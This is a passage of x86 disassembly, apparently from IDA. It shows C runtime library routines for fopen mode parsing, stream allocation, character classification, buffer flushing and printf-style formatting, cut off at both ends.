loc_41FACF: ; CODE XREF: sub_41F91C+199j
inc edi
loc_41FAD0: ; CODE XREF: sub_41F91C+11Ej
; sub_41F91C+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41FA23
jmp short loc_41FAEE
; ---------------------------------------------------------------------------
loc_41FADE: ; CODE XREF: sub_41F91C+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41FAEE
or al, 2
mov [esi], al
loc_41FAEE: ; CODE XREF: sub_41F91C+101j
; sub_41F91C+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41FAF4: ; CODE XREF: sub_41F91C+DAj
mov eax, [ebp+var_8]
jmp short loc_41FB0D
; ---------------------------------------------------------------------------
loc_41FAF9: ; CODE XREF: sub_41F91C+12j
; sub_41F91C+39j
and dword_4DE030, 0
mov dword_4DE02C, 9
loc_41FB0A: ; CODE XREF: sub_41F91C+ABj
; sub_41F91C+C3j
or eax, 0FFFFFFFFh
loc_41FB0D: ; CODE XREF: sub_41F91C+B7j
; sub_41F91C+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F91C endp
; =============== S U B R O U T I N E =======================================
sub_41FB12 proc near ; CODE XREF: sub_41B9D2+126p
; sub_41B9D2+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DE0B0
test eax, eax
jz short loc_41FB2A
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41FB2A
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41FB2A: ; CODE XREF: sub_41FB12+7j
; sub_41FB12+12j
xor eax, eax
retn
sub_41FB12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FB2D proc near ; CODE XREF: sub_41BC72+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DE21C
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41FB66
cmp al, 72h
jz short loc_41FB5F
cmp al, 77h
jnz loc_41FC7A
mov ecx, 301h
jmp short loc_41FB6B
; ---------------------------------------------------------------------------
loc_41FB5F: ; CODE XREF: sub_41FB2D+21j
xor ecx, ecx
or esi, 1
jmp short loc_41FB6E
; ---------------------------------------------------------------------------
loc_41FB66: ; CODE XREF: sub_41FB2D+1Dj
mov ecx, 109h
loc_41FB6B: ; CODE XREF: sub_41FB2D+30j
or esi, 2
loc_41FB6E: ; CODE XREF: sub_41FB2D+37j
push 1
pop edx
loc_41FB71: ; CODE XREF: sub_41FB2D+8Bj
; sub_41FB2D+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41FC60
cmp edx, ebx
jz loc_41FC60
movsx eax, al
cmp eax, 54h
jg short loc_41FBFF
jz short loc_41FBEF
sub eax, 2Bh
jz short loc_41FBD9
sub eax, 19h
jz short loc_41FBCF
sub eax, 0Eh
jz short loc_41FBBA
dec eax
jnz loc_41FC51
cmp [ebp+var_4], ebx
jnz loc_41FC51
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41FB71
; ---------------------------------------------------------------------------
loc_41FBBA: ; CODE XREF: sub_41FB2D+6Fj
cmp [ebp+var_4], ebx
jnz loc_41FC51
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41FB71
; ---------------------------------------------------------------------------
loc_41FBCF: ; CODE XREF: sub_41FB2D+6Aj
test cl, 40h
jnz short loc_41FC51
or ecx, 40h
jmp short loc_41FB71
; ---------------------------------------------------------------------------
loc_41FBD9: ; CODE XREF: sub_41FB2D+65j
test cl, 2
jnz short loc_41FC51
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41FB71
; ---------------------------------------------------------------------------
loc_41FBEF: ; CODE XREF: sub_41FB2D+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41FC51
or ecx, eax
jmp loc_41FB71
; ---------------------------------------------------------------------------
loc_41FBFF: ; CODE XREF: sub_41FB2D+5Ej
sub eax, 62h
jz short loc_41FC4C
dec eax
jz short loc_41FC35
sub eax, 0Bh
jz short loc_41FC1E
sub eax, 6
jnz short loc_41FC51
test ch, 0C0h
jnz short loc_41FC51
or ch, 40h
jmp loc_41FB71
; ---------------------------------------------------------------------------
loc_41FC1E: ; CODE XREF: sub_41FB2D+DDj
cmp [ebp+var_8], ebx
jnz short loc_41FC51
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41FB71
; ---------------------------------------------------------------------------
loc_41FC35: ; CODE XREF: sub_41FB2D+D8j
cmp [ebp+var_8], ebx
jnz short loc_41FC51
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41FB71
; ---------------------------------------------------------------------------
loc_41FC4C: ; CODE XREF: sub_41FB2D+D5j
test ch, 0C0h
jz short loc_41FC58
loc_41FC51: ; CODE XREF: sub_41FB2D+72j
; sub_41FB2D+7Bj ...
xor edx, edx
jmp loc_41FB71
; ---------------------------------------------------------------------------
loc_41FC58: ; CODE XREF: sub_41FB2D+122j
or ch, 80h
jmp loc_41FB71
; ---------------------------------------------------------------------------
loc_41FC60: ; CODE XREF: sub_41FB2D+4Aj
; sub_41FB2D+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_42425E
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41FC7E
loc_41FC7A: ; CODE XREF: sub_41FB2D+25j
xor eax, eax
jmp short loc_41FC98
; ---------------------------------------------------------------------------
loc_41FC7E: ; CODE XREF: sub_41FB2D+14Bj
mov eax, [ebp+arg_C]
inc dword_4DE104
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41FC98: ; CODE XREF: sub_41FB2D+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FB2D endp
; =============== S U B R O U T I N E =======================================
sub_41FC9D proc near ; CODE XREF: sub_41BC72p
mov edx, dword_4DF480
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41FD0E
mov ebx, dword_4DE464
mov edi, ebx
loc_41FCB9: ; CODE XREF: sub_41FC9D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41FCD4
test byte ptr [ecx+0Ch], 83h
jz short loc_41FCCF
inc eax
add edi, 4
cmp eax, edx
jl short loc_41FCB9
jmp short loc_41FD0E
; ---------------------------------------------------------------------------
loc_41FCCF: ; CODE XREF: sub_41FC9D+26j
mov esi, [ebx+eax*4]
jmp short loc_41FCF8
; ---------------------------------------------------------------------------
loc_41FCD4: ; CODE XREF: sub_41FC9D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41BCA5
pop ecx
mov ecx, dword_4DE464
mov [edi+ecx], eax
mov eax, dword_4DE464
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41FD0E
mov esi, edi
loc_41FCF8: ; CODE XREF: sub_41FC9D+35j
cmp esi, ebp
jz short loc_41FD0E
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41FD0E: ; CODE XREF: sub_41FC9D+12j
; sub_41FC9D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41FC9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD15 proc near ; CODE XREF: sub_41BEBE+17p
; sub_41BEBE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41FD33
mov ecx, off_43EFE8
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41FD85
; ---------------------------------------------------------------------------
loc_41FD33: ; CODE XREF: sub_41FD15+10j
mov ecx, eax
push esi
mov esi, off_43EFE8
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41FD58
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41FD61
; ---------------------------------------------------------------------------
loc_41FD58: ; CODE XREF: sub_41FD15+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41FD61: ; CODE XREF: sub_41FD15+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_424517
add esp, 1Ch
test eax, eax
jnz short loc_41FD81
leave
retn
; ---------------------------------------------------------------------------
loc_41FD81: ; CODE XREF: sub_41FD15+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41FD85: ; CODE XREF: sub_41FD15+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41FD15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD8A proc near ; CODE XREF: sub_41C056+46p
; sub_41C150+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41FE93
test al, 40h
jnz loc_41FE93
test al, 1
jz short loc_41FDC2
and dword ptr [esi+4], 0
test al, 10h
jz loc_41FE93
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41FDC2: ; CODE XREF: sub_41FD8A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41FDFC
cmp esi, offset dword_43F5D8
jz short loc_41FDEA
cmp esi, offset dword_43F5F8
jnz short loc_41FDF5
loc_41FDEA: ; CODE XREF: sub_41FD8A+56j
push ebx
call sub_424660
test eax, eax
pop ecx
jnz short loc_41FDFC
loc_41FDF5: ; CODE XREF: sub_41FD8A+5Ej
push esi
call sub_42421A
pop ecx
loc_41FDFC: ; CODE XREF: sub_41FD8A+4Ej
; sub_41FD8A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41FE69
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41FE2C
push edi
push eax
push ebx
call sub_4231D6
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41FE5F
; ---------------------------------------------------------------------------
loc_41FE2C: ; CODE XREF: sub_41FD8A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41FE47
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DE360[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41FE4C
; ---------------------------------------------------------------------------
loc_41FE47: ; CODE XREF: sub_41FD8A+A5j
mov eax, offset dword_43F8C0
loc_41FE4C: ; CODE XREF: sub_41FD8A+BBj
test byte ptr [eax+4], 20h
jz short loc_41FE5F
push 2
push 0
push ebx
call sub_422FE4
add esp, 0Ch
loc_41FE5F: ; CODE XREF: sub_41FD8A+A0j
; sub_41FD8A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41FE7D
; ---------------------------------------------------------------------------
loc_41FE69: ; CODE XREF: sub_41FD8A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_4231D6
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41FE7D: ; CODE XREF: sub_41FD8A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41FE89
or dword ptr [esi+0Ch], 20h
jmp short loc_41FE98
; ---------------------------------------------------------------------------
loc_41FE89: ; CODE XREF: sub_41FD8A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41FE9B
; ---------------------------------------------------------------------------
loc_41FE93: ; CODE XREF: sub_41FD8A+10j
; sub_41FD8A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41FE98: ; CODE XREF: sub_41FD8A+FDj
or eax, 0FFFFFFFFh
loc_41FE9B: ; CODE XREF: sub_41FD8A+107j
pop esi
pop ebx
pop ebp
retn
sub_41FD8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE9F proc near ; CODE XREF: sub_41C056+29p
; sub_41C150+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_4205B8
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41FED3
; ---------------------------------------------------------------------------
loc_41FECB: ; CODE XREF: sub_41FE9F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41FED3: ; CODE XREF: sub_41FE9F+2Aj
cmp [ebp+var_14], edx
jl loc_4205B8
cmp bl, 20h
jl short loc_41FEF4
cmp bl, 78h
jg short loc_41FEF4
movsx eax, bl
mov al, [eax+42873Ch]
and eax, 0Fh
jmp short loc_41FEF6
; ---------------------------------------------------------------------------
loc_41FEF4: ; CODE XREF: sub_41FE9F+40j
; sub_41FE9F+45j
xor eax, eax
loc_41FEF6: ; CODE XREF: sub_41FE9F+53j
movsx eax, byte_42875C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_4205A7 ; default
jmp off_4205C0[eax*4] ; switch jump
loc_41FF14: ; DATA XREF: .packed:off_4205C0o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FF0D case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_41FF2F: ; CODE XREF: sub_41FE9F+6Ej
; DATA XREF: .packed:off_4205C0o
movsx eax, bl ; jumptable 0041FF0D case 2
sub eax, 20h
jz short loc_41FF72
sub eax, 3
jz short loc_41FF69
sub eax, 8
jz short loc_41FF60
dec eax
dec eax
jz short loc_41FF57
sub eax, 3
jnz loc_4205A7 ; default
or [ebp+var_4], 8
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_41FF57: ; CODE XREF: sub_41FE9F+A4j
or [ebp+var_4], 4
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_41FF60: ; CODE XREF: sub_41FE9F+A0j
or [ebp+var_4], 1
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_41FF69: ; CODE XREF: sub_41FE9F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_41FF72: ; CODE XREF: sub_41FE9F+96j
or [ebp+var_4], 2
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_41FF7B: ; CODE XREF: sub_41FE9F+6Ej
; DATA XREF: .packed:off_4205C0o
cmp bl, 2Ah ; jumptable 0041FF0D case 3
jnz short loc_41FFA3
lea eax, [ebp+arg_8]
push eax
call sub_42067E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_4205A7 ; default
or [ebp+var_4], 4
neg eax
loc_41FF9B: ; CODE XREF: sub_41FE9F+111j
mov [ebp+var_20], eax
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_41FFA3: ; CODE XREF: sub_41FE9F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41FF9B
; ---------------------------------------------------------------------------
loc_41FFB2: ; CODE XREF: sub_41FE9F+6Ej
; DATA XREF: .packed:off_4205C0o
mov [ebp+var_10], edx ; jumptable 0041FF0D case 4
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_41FFBA: ; CODE XREF: sub_41FE9F+6Ej
; DATA XREF: .packed:off_4205C0o
cmp bl, 2Ah ; jumptable 0041FF0D case 5
jnz short loc_41FFDD
lea eax, [ebp+arg_8]
push eax
call sub_42067E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_4205A7 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_41FFDD: ; CODE XREF: sub_41FE9F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_41FFEF: ; CODE XREF: sub_41FE9F+6Ej
; DATA XREF: .packed:off_4205C0o
cmp bl, 49h ; jumptable 0041FF0D case 6
jz short loc_420022
cmp bl, 68h
jz short loc_420019
cmp bl, 6Ch
jz short loc_420010
cmp bl, 77h
jnz loc_4205A7 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_420010: ; CODE XREF: sub_41FE9F+15Dj
or [ebp+var_4], 10h
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_420019: ; CODE XREF: sub_41FE9F+158j
or [ebp+var_4], 20h
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_420022: ; CODE XREF: sub_41FE9F+153j
cmp byte ptr [edi], 36h
jnz short loc_42003B
cmp byte ptr [edi+1], 34h
jnz short loc_42003B
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_42003B: ; CODE XREF: sub_41FE9F+186j
; sub_41FE9F+18Cj
mov [ebp+var_30], edx
loc_42003E: ; CODE XREF: sub_41FE9F+6Ej
; DATA XREF: .packed:off_4205C0o
mov ecx, off_43EFE8 ; jumptable 0041FF0D case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42006A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_4205E0
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_42006A: ; CODE XREF: sub_41FE9F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_4205E0
add esp, 0Ch
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_420082: ; CODE XREF: sub_41FE9F+6Ej
; DATA XREF: .packed:off_4205C0o
movsx eax, bl ; jumptable 0041FF0D case 7
cmp eax, 67h
jg loc_4202AA
cmp eax, 65h
jge loc_42012D
cmp eax, 58h
jg loc_42018B
jz loc_42031E
sub eax, 43h
jz loc_42014E
dec eax
dec eax
jz short loc_420123
dec eax
dec eax
jz short loc_420123
sub eax, 0Ch
jnz loc_4204A9
test word ptr [ebp+var_4], 830h
jnz short loc_4200CC
or byte ptr [ebp+var_4+1], 8
loc_4200CC: ; CODE XREF: sub_41FE9F+227j
; sub_41FE9F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_4200D9
mov esi, 7FFFFFFFh
loc_4200D9: ; CODE XREF: sub_41FE9F+233j
lea eax, [ebp+arg_8]
push eax
call sub_42067E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_4202F2
test ecx, ecx
jnz short loc_420101
mov ecx, off_43F204
mov [ebp+var_8], ecx
loc_420101: ; CODE XREF: sub_41FE9F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_42010A: ; CODE XREF: sub_41FE9F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_4202E9
cmp word ptr [eax], 0
jz loc_4202E9
inc eax
inc eax
jmp short loc_42010A
; ---------------------------------------------------------------------------
loc_420123: ; CODE XREF: sub_41FE9F+212j
; sub_41FE9F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_42012D: ; CODE XREF: sub_41FE9F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_420211
mov [ebp+var_10], 6
jmp loc_42021F
; ---------------------------------------------------------------------------
loc_42014E: ; CODE XREF: sub_41FE9F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_42015A
or byte ptr [ebp+var_4+1], 8
loc_42015A: ; CODE XREF: sub_41FE9F+2B5j
; sub_41FE9F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_4201A1
call sub_42069B
push eax
lea eax, [ebp+var_248]
push eax
call sub_424686
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_4201B4
mov [ebp+var_28], 1
jmp short loc_4201B4
; ---------------------------------------------------------------------------
loc_42018B: ; CODE XREF: sub_41FE9F+1FBj
sub eax, 5Ah
jz short loc_4201C2
sub eax, 9
jz short loc_42015A
dec eax
jz loc_420384
jmp loc_4204A9
; ---------------------------------------------------------------------------
loc_4201A1: ; CODE XREF: sub_41FE9F+2C5j
call sub_42067E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_4201B4: ; CODE XREF: sub_41FE9F+2E1j
; sub_41FE9F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_4204A9
; ---------------------------------------------------------------------------
loc_4201C2: ; CODE XREF: sub_41FE9F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_42067E
test eax, eax
pop ecx
jz short loc_420203
mov ecx, [eax+4]
test ecx, ecx
jz short loc_420203
test byte ptr [ebp+var_4+1], 8
jz short loc_4201F4
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_4204A9
; ---------------------------------------------------------------------------
loc_4201F4: ; CODE XREF: sub_41FE9F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_4204A6
; ---------------------------------------------------------------------------
loc_420203: ; CODE XREF: sub_41FE9F+32Fj
; sub_41FE9F+336j
mov eax, off_43F200
mov [ebp+var_8], eax
push eax
jmp loc_42029F
; ---------------------------------------------------------------------------
loc_420211: ; CODE XREF: sub_41FE9F+29Dj
jnz short loc_42021F
cmp bl, 67h
jnz short loc_42021F
mov [ebp+var_10], 1
loc_42021F: ; CODE XREF: sub_41FE9F+2AAj
; sub_41FE9F:loc_420211j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43F590
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_420271
cmp [ebp+var_10], 0
jnz short loc_420271
lea eax, [ebp+var_248]
push eax
call off_43F59C
pop ecx
loc_420271: ; CODE XREF: sub_41FE9F+3BCj
; sub_41FE9F+3C2j
cmp bl, 67h
jnz short loc_420288
test esi, esi
jnz short loc_420288
lea eax, [ebp+var_248]
push eax
call off_43F594
pop ecx
loc_420288: ; CODE XREF: sub_41FE9F+3D5j
; sub_41FE9F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_42029E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_42029E: ; CODE XREF: sub_41FE9F+3F0j
push edi
loc_42029F: ; CODE XREF: sub_41FE9F+36Dj
call sub_41B7B0
pop ecx
jmp loc_4204A6
; ---------------------------------------------------------------------------
loc_4202AA: ; CODE XREF: sub_41FE9F+1E9j
sub eax, 69h
jz loc_420384
sub eax, 5
jz loc_42035A
dec eax
jz loc_420347
dec eax
jz short loc_420317
sub eax, 3
jz loc_4200CC
dec eax
dec eax
jz loc_420388
sub eax, 3
jnz loc_4204A9
mov [ebp+var_2C], 27h
jmp short loc_420325
; ---------------------------------------------------------------------------
loc_4202E9: ; CODE XREF: sub_41FE9F+270j
; sub_41FE9F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_4204A6
; ---------------------------------------------------------------------------
loc_4202F2: ; CODE XREF: sub_41FE9F+24Fj
test ecx, ecx
jnz short loc_4202FF
mov ecx, off_43F200
mov [ebp+var_8], ecx
loc_4202FF: ; CODE XREF: sub_41FE9F+455j
mov eax, ecx
loc_420301: ; CODE XREF: sub_41FE9F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_420310
cmp byte ptr [eax], 0
jz short loc_420310
inc eax
jmp short loc_420301
; ---------------------------------------------------------------------------
loc_420310: ; CODE XREF: sub_41FE9F+467j
; sub_41FE9F+46Cj
sub eax, ecx
jmp loc_4204A6
; ---------------------------------------------------------------------------
loc_420317: ; CODE XREF: sub_41FE9F+425j
mov [ebp+var_10], 8
loc_42031E: ; CODE XREF: sub_41FE9F+201j
mov [ebp+var_2C], 7
loc_420325: ; CODE XREF: sub_41FE9F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_42038F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_42038F
; ---------------------------------------------------------------------------
loc_420347: ; CODE XREF: sub_41FE9F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_42038F
or byte ptr [ebp+var_4+1], 2
jmp short loc_42038F
; ---------------------------------------------------------------------------
loc_42035A: ; CODE XREF: sub_41FE9F+417j
lea eax, [ebp+arg_8]
push eax
call sub_42067E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_420373
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_420378
; ---------------------------------------------------------------------------
loc_420373: ; CODE XREF: sub_41FE9F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_420378: ; CODE XREF: sub_41FE9F+4D2j
mov [ebp+var_28], 1
jmp loc_4205A7 ; default
; ---------------------------------------------------------------------------
loc_420384: ; CODE XREF: sub_41FE9F+2F7j
; sub_41FE9F+40Ej
or [ebp+var_4], 40h
loc_420388: ; CODE XREF: sub_41FE9F+432j
mov [ebp+var_C], 0Ah
loc_42038F: ; CODE XREF: sub_41FE9F+491j
; sub_41FE9F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_4203A1
lea eax, [ebp+arg_8]
push eax
call sub_42068B
pop ecx
jmp short loc_4203E2
; ---------------------------------------------------------------------------
loc_4203A1: ; CODE XREF: sub_41FE9F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_4203C8
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_4203BD
call sub_42067E
pop ecx
movsx eax, ax
loc_4203BA: ; CODE XREF: sub_41FE9F+527j
; sub_41FE9F+539j
cdq
jmp short loc_4203E2
; ---------------------------------------------------------------------------
loc_4203BD: ; CODE XREF: sub_41FE9F+510j
call sub_42067E
pop ecx
movzx eax, ax
jmp short loc_4203BA
; ---------------------------------------------------------------------------
loc_4203C8: ; CODE XREF: sub_41FE9F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_4203DA
call sub_42067E
pop ecx
jmp short loc_4203BA
; ---------------------------------------------------------------------------
loc_4203DA: ; CODE XREF: sub_41FE9F+531j
call sub_42067E
pop ecx
xor edx, edx
loc_4203E2: ; CODE XREF: sub_41FE9F+500j
; sub_41FE9F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_420403
test edx, edx
jg short loc_420403
jl short loc_4203F2
test eax, eax
jnb short loc_420403
loc_4203F2: ; CODE XREF: sub_41FE9F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_420407
; ---------------------------------------------------------------------------
loc_420403: ; CODE XREF: sub_41FE9F+547j
; sub_41FE9F+54Bj ...
mov esi, eax
mov edi, edx
loc_420407: ; CODE XREF: sub_41FE9F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_420410
and edi, 0
loc_420410: ; CODE XREF: sub_41FE9F+56Cj
cmp [ebp+var_10], 0
jge short loc_42041F
mov [ebp+var_10], 1
jmp short loc_420423
; ---------------------------------------------------------------------------
loc_42041F: ; CODE XREF: sub_41FE9F+575j
and [ebp+var_4], 0FFFFFFF7h
